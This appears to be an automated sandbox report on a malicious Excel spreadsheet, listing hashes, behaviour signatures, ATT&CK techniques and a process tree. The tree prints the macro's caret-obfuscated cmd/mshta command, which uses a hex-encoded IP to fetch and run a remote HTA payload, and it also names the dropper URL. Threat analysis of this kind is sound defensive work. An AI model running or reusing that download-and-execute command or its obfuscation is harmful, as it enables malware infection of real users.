Analysis

  • max time kernel
    103s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    22-05-2022 05:29

General

  • Target

    ?i=1okixezym.xls

  • Size

    129KB

  • MD5

    e695d8c6c6db341f12701b4d18dd0d19

  • SHA1

    c73f399a25902d8d935e8b6b857ba9203c8536fe

  • SHA256

    59cb2552a34b231acb92fcee121b13d662ca7f0049a70aae86fe312270f548e5

  • SHA512

    605ba80a24c02cd34763177f1e99d0b74dd6a291623f1433f8f38cf357bd9ab5516c884ee569a5b0ffbc3bdc7645b8274a3428f3fb0f768d5be2a2f4ceaeacb0

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1okixezym.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4748
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2832
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        PID:1404

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1404-138-0x0000000000000000-mapping.dmp
  • memory/2832-137-0x0000000000000000-mapping.dmp
  • memory/4748-136-0x00007FF7FF2E0000-0x00007FF7FF2F0000-memory.dmp
    Filesize

    64KB

  • memory/4748-133-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-134-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-135-0x00007FF7FF2E0000-0x00007FF7FF2F0000-memory.dmp
    Filesize

    64KB

  • memory/4748-130-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-132-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-131-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-141-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-143-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-142-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB

  • memory/4748-144-0x00007FF801710000-0x00007FF801720000-memory.dmp
    Filesize

    64KB